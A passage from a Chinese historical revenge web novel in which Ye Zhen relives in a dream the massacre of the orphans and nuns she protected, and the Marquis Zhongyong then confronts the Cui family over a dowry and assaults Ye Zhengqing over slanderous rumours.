叶桢想要摇醒师太,手却直接从师太身上穿过,她碰不到他们。
她又去拉阿牛和春妮,却怎么都无法握住他们的手,她急得想大喊,喉咙却似被堵住了。
大火肆意蔓延,烧出浓浓的烟雾,终于有人被浓烟呛醒。
是阿狸!
叶桢急得似个疯子,同他喊道,“快叫醒他们,带他们离开!”
她歇斯底里!
阿狸听不见!
但他在努力叫醒其他人,师太醒了,穗穗醒了,阿牛醒了,春妮醒了,可他们却再也逃不出去了。
**和浓烟让他们丧失了力气,门口的大火也阻挡了他们的去路。
有孩子的衣裳沾上了火苗,叶桢眼睁睁看着火苗迅速爬满了他全身。
她跑过去抱住他,想用身体替他扑灭身上的火,却什么都做不了。
只能眼睁睁地看着他满地打滚,他才不过七岁,生来就残了一条腿,被父母丢弃。
叶桢养了他四年,来京前他刚学会杵拐走路,再见便是这副场景,叶桢痛得撕心裂肺,却无人能听到她的痛。
很快其他人身上也或多或少被烧,庵堂主持师太有些武功底子。
她拉上阿狸,“饮月带着其他人去京城救叶桢,你便是孩子里们最大的那个。
阿狸,助我将孩子们送出去,可好?”
火苗窜上了她的后背,她面容却依旧慈悲平静。
叶桢便看见,她和阿狸用内力将孩子们送出大火。
一个!
两个!
三个!
阿狸身上亦着了火,大火吞噬了他手臂的力量,第四个孩子,他们堪堪送到屋门口。
火越来越大,梁上木头断断续续砸落,叶桢耳中全是孩子们的惨叫声。
他们再也无望逃出。
叶桢在屋里急的崩溃。
有诵经声传入她耳中,叶桢转头是力竭的主持师太盘腿坐于地上,她于火中诵经,企图用最后的力量减轻孩子们的痛苦。
其余人亦艰难坐起,跟着她一道,坐不起来的则跟着诵唱。
叶桢看着大火一个个吞噬他们,他们的嘴唇满是燎泡,依旧在一张一合,直至最后咽气。
她直觉自己的五脏六腑亦被大火吞噬,疼的不能呼吸,叶桢跪在了地上,自己亦跟着**一遍。
佛音穿过烈焰,传到屋外,让几个黑衣人面露震撼。
其中一人问,“当真要赶尽杀绝吗?这里头都
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是些孩子和出家人……”
夹杂着疼痛的佛音让他胆怯了。
他害怕会有报应。
叶桢听到声音,踉跄着跑到门外。
她看到被问话的人,扯下了脸上面巾。
是蛮奴!
再无半点傻气,只有狠厉歹毒。
她冷哼,“侯夫人和叶家人过于大意,竟让叶桢在南边藏了这么些人。
若非老夫人和付爷警觉,这些人说不得就会闹到京城,徒增麻烦。”
说着话,她手中剑用力刺下,冷声道,“老夫人和付爷皆吩咐,斩草要除根!”
叶桢顺着她的力道看去。
目眦欲裂!
地上躺着的,竟是主持和阿狸用命送出来的四个孩子。
他们尸首分离,有的一剑穿心。
定是在被送出来时,就被屋外的人凌空斩杀,以至于屋里没听到半点孩子们的惨叫声。
他们没死在火里,却死在了蛮奴手上,连开口的机会都没有。
叶桢看着最小的孩子,不过两三岁,应是她离开庄子后,饮月他们捡回来的,是个很漂亮的女孩,未来得及阖上的眼中,满是惊恐。
“啊!”叶桢仰天长啸,双目泣血。
“畜生!我要杀了你!”
她拼尽全力的嘶吼,终于发出了声音,身体却穿过蛮奴,穿过黑夜,来到了一间屋子。
准确说是刑房,几个披头散发的人被捆在木架上,旁边放着炭盆。
叶晚棠手里拿着一块烧红的烙铁,面目狰狞地按在了其中一人的嘴上。
皮肉被烫得滋滋作响,对方却没发出一声惨叫,只抬头狠狠瞪着叶晚棠。
叶桢看清对方的脸,惊得跌坐在地。
是饮月!
是她的饮月!
“庄上年年往京城送消息,说叶桢胆怯懦弱,被庄头管得死死的。
如今她不守妇道,被侯府送去悔过,却能引来你们这些人相救。
可见这些年,所谓老实木讷都是假的,她伙同庄头一直在骗我们。
既然你不肯交代她在南边的事,这张嘴便也没必要留了。”
她笑得张狂,指着其余人,“你们若不说,亦是她这样的下场。”
无人透露一个字。
她眉心怒焰跳动,从一个护卫手中抽走了剑,发泄般地胡乱砍在饮月身上。
叶桢出手阻拦,毫无用处,她无力绝望地护在饮月身上,却更清楚地感受到饮月的疼痛。
只能一遍遍的同饮月他们道,“告诉她,她想知道什么,都告诉她,先活命,饮月,先活命啊,求求你们,快告诉她,活下去……”
第92章 土匪
庵堂里看着在意之人被害,却无能为力的绝望痛苦,叶桢又经历了一遍。
她什么都做不了,只能眼睁睁的看着饮月几人被叶晚棠凌迟。
看着王氏心疼叶晚棠砍的手累,怪饮月他们嘴硬,命护卫将他们拖出喂狗。
听着叶正卿责怪南边庄上的人,“这群狗奴才,他们忘了谁才是他们的主子。
竟听叶桢一个丫头的话,将我们骗的团团转,我这便下令将他们都买到最苦的矿场去。”
他又骂叶桢,“那孽障在南边养那么多人,是想做什么?
她哪里来的钱财养别的孩子,这是偷用了我多少银钱,混账东西。
得亏她还不知自己的身世,就被侯夫人母子给关押了。
不行,我总觉得心里不踏实,不能让她活着。”
他浑然忘记南边那个庄子,是叶惊鸿受赏所得的,因感念他们替她照顾女儿,才划到了他名下。
叶晚棠却阻止他,“父亲,她到底是您唯一的外甥女,留她一命也无妨。
不过以免她还有旁地帮手寻来,得让侯夫人虚晃一招,做出送她出京悔过的假象。”
实则留在京城。
她冷笑,“城外那破败清虚观,是个不错的地方,便将她送去那里吧。
我看被抓的那几个身手都不错,先前还以为叶桢只是力气大,眼下看来也是有些拳脚功夫的。
软筋散不能停,锁链也得备上,到底是姐妹一场,束住手脚过于残忍,就脖子上套个链子防止她逃跑就行……”
叶桢悲痛愤怒到极致,最后竟是笑出了声。
她当真是死的糊涂,现在才知原来前世关着她的破屋竟是城外的清虚观。
还是叶晚棠替她选的地方。
叶家三口怪她隐瞒,可她当初不过是听说叶正卿夫妇不喜女子习武,想讨父母欢心,才没透露。
庄子的人会帮她隐瞒,是母亲不忍她被庄头欺负,又不想与哥嫂冲突,才吩咐庄头不必说她真实情况。
后来,她跟着师父习武,也试着经商,庄子的人跟着她过上了好日子,她真正成为庄上的主人,他们自然向着她。
至于养那些孩子,起初不过是见不得他们和自己一样,被家人弃了,自己淋过雨,便想替别人撑撑伞。
后来,她希望能成为如母亲那般有用的人,就算不能上战场,也能尽绵薄之力,为大渊培养可用之人。
却成了叶家三口和侯府那几个恶人所不能容的罪大恶极,以至于他们要赶尽杀绝一个不留,究竟是她所行有错,还是他们自己心虚。
叶桢浑身被抽干了力气,她害了饮月他们……
待叶正卿离开后,王氏虚点着叶晚棠的鼻子,“也就你能哄住你爹。
叶桢名声都烂了,也不可能有自由,这辈子都不会抢走你的身份,何不听你爹的直接杀了,留着膈应。”
她说的随意,好似叶桢是路边的野草,而非人命。
“太子有消息了,但听闻他另有心仪的姑娘,一直在找那姑娘,不肯回京与我完婚。”
叶晚棠神情扭曲,“女儿心里不痛快,总要找点消遣。
叶桢生来不就是女儿逗弄的玩物么,可她这些年竟敢装巧,女儿心情舒畅前,见不得她好死。”
“好好好,你想留着便留着,莫气伤自己身体……”
叶桢听着母女俩的对话,浑身冰寒,颤抖得愈加厉害。
她走到王氏母女面前,双手分别掐向两人的咽喉。
可每次,叶桢都只能看着自己的手从他们的脖颈穿过。
她不知自己为何陷入梦魇,但她清楚,今日梦中所见种种,皆是前世所发生的。
老夫人,付江,蛮奴,叶家三口,原来,原来他们做的比她知道的还要多。
可笑她竟还以为在侯府的仇得报了。
她要杀了他们,哪怕是在梦里,她也要杀了他们!
叶桢一次次尝试,近乎疯魔,不肯醒来。
随后,她听到了一声声呼唤,“叶桢,醒醒。”
“别哭,哪里难受告诉我,我帮你。”
“你想杀谁,我替你杀,只要你醒来。”
“为何笑得这般悲怆,叶桢,你到底梦到了什么,醒来告诉我,你想做什么,我都帮你,醒来好不好?”
是谢霆舟的声音。
叶桢不停掐人的手被握住,她落入一个温暖的怀抱,那人一点点揉搓她机械僵硬的手。
在叶桢身体回温时,她被从梦魇里拉回,睁了眼。
入目的是面具下,一双担忧焦灼的眼。
她醒得猝不及防,谢霆舟还在给她搓手,对上她的视线,他解释,“你身体突然降温、僵化,我怕你出事。”
叶桢的眼神太冷了,满是戾气,以至于谢霆舟担心自己的越矩会让她彻底疏离自己。
叶桢想起梦里那一声声的呼唤,垂眸轻嗯了声,问道,“蛮奴还在你手里吗?”
另一边,崔府听说忠勇侯来找崔易欢,以为他是亲自来接崔易欢入府的。
崔尚书还打算拿一拿岳丈的架势,可忠勇侯却直接问崔易欢愿不愿陪他走趟将军府。
关于叶桢和忠勇侯的留言,崔家也听到了,且因为他给叶桢家产,崔家还真信了。
“侯爷要带易欢去侯府是?”
崔尚书狐疑问道。
“本侯已查到今日流言乃王氏所为,要同她清算。”
若不是流言恶劣,竟指向他和叶桢,他今日可以不必来崔家,直接将那叶正卿揍一顿,问问他究竟如何管束妻子的。
可他不惧流言蜚语,叶桢一个女子,将来如何做人。
崔易欢与他虽是合作,到底明面上如今是他的女人,由他的女人出面或许对叶桢更有利。
崔易欢明白他用意,“我愿同侯爷前往。”
她也不想谢邦落个与儿媳不清不楚的名声,会影响霆舟的。
崔尚书反对,“那怎么行,你如今还不是侯府的人,不好参与。”
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叶晚棠与太子的婚约还在,她颇得帝后喜欢。
崔家不愿得罪将军府。
忠勇侯见崔易欢并未退缩,问道,“你母亲的嫁妆清单整理好了吗?”
崔易欢眼眸微亮。
谢邦这狗东西是要亲自帮她?
忙点头,“整理好了,只等拿给父亲和继夫人,让他们将东西备齐。”
崔尚书听到这话,急了,“什么嫁妆?”
崔易欢一个妾室,要带走她母亲嫁妆,那怎么行?
忠勇侯现在就是个炮仗,见不得崔尚书这嘴脸,怼道,“当然是她母亲当年的嫁妆,按大渊律,母亡,嫁妆则悉数留给子女。
崔夫人只有崔姑娘一个女儿,她要入侯府,自然得带走属于她的东西。
难不成,你还打算克扣女儿的嫁妆?”
崔尚书心道,自然是要留下啊。
否则他这满府吃喝拉撒怎么办,儿子娶妻,女儿出嫁怎么办?
他的继室是清流之女,名头好听,但根本没什么嫁妆,这些年用的都是那商贾女的。
可这些总能对外人言。
“侯爷不知,我那儿媳是个爱享受的,她虽带了不少嫁妆入府,但几乎都被她生前用得七七八八了。”
崔老夫人忙开口,“侯爷放心,剩下的嫁妆我们会一样不少的给易欢。”
忠勇侯却看向崔易欢,“你去把嫁妆单子拿来,若有抄写的副本也一并带来。”
不等崔家人阻拦,忠勇侯同带来的婆子道,“你们也一起去。”
那两婆子有点功夫,稍后也是要带去将军府的。
崔家人无法,只得眼睁睁看着崔易欢拿出嫁妆册子。
她还真抄了副本,还不只一份。
忠勇侯将一副本递给崔尚书。
“陛下曾给本侯赐妾,本侯从前不识好歹,拂他好意。
如今本侯终于要纳妾,求陛下借两个擅长理账的管事女官,想来陛下是乐意的。
崔夫人的嫁妆被用了多少,这些年又盈利了多少,甭管过去多少年,以她们的本事都能查得出来。
若临时纂改,转移,则是欺君,本侯相信崔尚书当不会行这种糊涂事。”
谢云舟他们几个不是他的,皇帝为了早些平息付江的事,不会拒绝他的。
忠勇侯似笑非笑,“人我今日先接走了,如此,她便是我侯府中人,也就能随我一起去将军府了。”
怪不得崔易欢要和他做交易,这崔家也是个虎狼窝。
带着人走到门口时,他唇边透着一丝恶劣,“嫁妆还劳尽快准备,用掉的便折现,本侯会替易欢处理好此事再离京。”
崔老夫人和崔尚书一口老血梗在喉间,他们嫁女是为谋好处,不是被掏空家底。
等人出了院子,两人齐齐骂道,“土匪。”
忠勇侯听到了,冷笑,这就土匪了?
他也是为帅多年,守理惯了,倒叫京城的人忘了他从前模样,他带着崔易欢直奔将军府……
第93章 踹趴下
将军府。
王氏靠在榻上听婆子回禀外头的情况。
“……夫人小姐们困于后宅,日子无趣,最喜欢听这些趣事打发时间。
寻常百姓对权贵后院的艳闻也是好奇的很,消息才放出去多久,街头巷尾就传遍了。
听说那忠勇侯急得连忙去了崔家,只怕是担心崔家反悔呢。
毕竟,他如今可是个妻子偷腥**的鳏夫,又与儿媳有染,往后想纳崔姑娘这样门第的妾室,怕是不容易呢。”
她以奉承收尾,“还是夫人您手段高明,回击了忠勇侯不说,桢小姐过不了两日,定也会回娘家求助。”
女子嘛出了事,除了依靠娘家,还能依靠谁呢?
忠勇侯先前再看重她,往后为了避嫌,只怕再也不敢管她的事了。
王氏亦是如此想的。
她冷哼,“也不知她究竟给那谢邦灌了什么**汤,让那谢邦不管自己的孩子,竟要把家产给叶桢。
说不得当真就是用了狐媚子手段,否则,谢邦怎会那般替她出头。”
叶桢别的什么都不如她的晚棠,但摸着良心说,她那张脸确实盛过晚棠。
只她寡居后院,又不懂打扮,外人暂不曾留意她的容貌。
可忠勇侯与她一个屋檐下,说不得就是这样被她鬼迷了心窍。
她越想越觉得是这个道理。
婆子忙附和,“那定然是了。”
王氏想到什么,吩咐道,“派人暗地去南边查一查,她这些年究竟在南边做了什么。”
她怎么不知道叶惊鸿还和叶桢书信联系?为何叶桢从不曾对她提过?
还有昨日来京的那些孩子,逃得那么快,看来都有武功底子,这样一群人为何会来京城找叶桢?
这似乎与印象里的叶桢不相符,还是查一查放心些。
叶晚棠过来时,正好听到这话,应道,“确实该查一查。”
上次她可是在叶桢手里吃了个暗亏,不能再大意了。
婆子领命下去。
王氏拉着叶晚棠的手,低问,“娘替你出了气,心情可好些了?”
“可惜没看到叶桢的反应,不知道有没有在哭。”
叶晚棠靠在她肩头,语气闷闷。
王氏笑,“没有哪个女子能经得起流言蜚语,她有的是哭的时候。
你若想看,过两日,娘便将她叫回来,让她哭给你看,可好?”
叶晚棠很享受被人捧着,被人宠溺的感觉,叶惊鸿却对她要求颇多。
她心里很是恼叶惊鸿,但渴望叶惊鸿能多夸夸她,看重她。
叶惊鸿的认可远比王氏的有价值。
可她做什么,似乎都达不到叶惊鸿的满意程度,想到叶惊鸿竟会给叶桢去信,她心里的嫉妒又窜了起来。
叶惊鸿都没给她写什么信,只会让射姑那样的下人转达,要她这样,要她那样。
还有忠勇侯也是,既是看重和叶惊鸿的交情,那他的家产要送,不也应该送给她叶晚棠么?
凭什么给叶桢?
叶桢又凭什么得他们青睐?
她压着怒火,幽幽道,“叶桢到底是寡妇,又不肯领您的好心回南边嫁人,非要留在京城贪图这富贵。
如今还到处招摇,听说昨日还在街上和那武德司的雷策叙话了。”
她如今无法买通侯府下人,随时了解叶桢的情况,只能派人盯着府外。
没想到还真盯到了。
雷策竟主动与叶桢搭话,虽然盯梢的人听不清他们说了什么。
但是雷策对叶桢很是有礼,还对她笑了。
那雷策都没对她笑过,还有谢霆舟也是,他们一个个地都中了叶桢的邪。
叶桢靠的不就是那张脸么?
那就将那脸毁了。
她叹气,“我真担心她再惹出风流事。”
王氏立即明白她的意思,眼底一冷,“晚棠说得有理,她那脸确实是祸害。”
过两日,她找个机会让叶桢回娘家,毁掉她的容貌当不是难事。
这便是叶晚棠喜欢王氏的一点,王氏总能明白他的心思,并替她去执行。
“娘,我以后定会好好孝顺您。”
她靠在王氏身上,哄道。
王氏指望的不就是这些么,很是慈爱地揽着她。
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女儿果然比丈夫可靠,想到丈夫,她便想起这一上午都没见到人。
便问门外的下人,“老爷哪里去了?”
叶正卿在哪?
他正在大门外的地上趴着呢。
原本,他在官衙上值,结果叶桢和忠勇侯的流言传到了官衙。
有八卦的同僚问他真假。
他才知此事,细细一想,猜到这事是王氏闹出来的。
因为叶晚棠即便要做,也不会脏自己的手,而是撺掇王氏。
他心头窝火,不是心疼叶桢,是气王氏。
在世人眼中,叶桢是他的女儿,她不贞洁,他这做父亲的也跟着丢面子。
他更怕影响自己的前途,王氏惹谁不好,要惹忠勇侯,万一他查到真相迁怒自己怎么办?
因而火急火燎要回府找王氏。
就在半道上遇到了吴东。
吴东说忠勇侯寻他有事,态度客客气气。
叶正卿心里稍稍踏实,忠勇侯没查到,否则吴东不是这个态度。
那忠勇侯寻他干嘛?
因为他是叶桢的父亲,特意过来同他解释?
还是让他将叶桢接回叶家?
亦或者忠勇侯和叶桢真有什么?
念头想了好几个,唯独没想到,他刚下马车,就被忠勇侯一脚踹趴下了。
狂怒的声音伴随着铁拳砸下,“本侯是个糊涂的丈夫,但你比本侯更恶劣。
你日日与王氏在一处,当知她德行,竟任由她造谣毁坏亲生女儿的名声。
对女儿不慈,对妻子管束不利,还连累本侯声名,你说,这账本侯要怎么同你算?”
崔易欢扯了扯嘴角。
谢邦倒是记得自己也没管好柳氏,不过却是先给自己找了理由。
他不在家!
着实有些厚脸皮。
但她觉挺好。
忠勇侯不知崔易欢所想,住了手,将人提起来。
“若非这将军府是惊鸿的家,本侯今日非得拆了这府邸,将那王氏找出来。
如今只能劳烦叶大人跑一趟,本侯要问问她,她让人散布本侯的谣言,究竟是有什么证据,又是何居心?”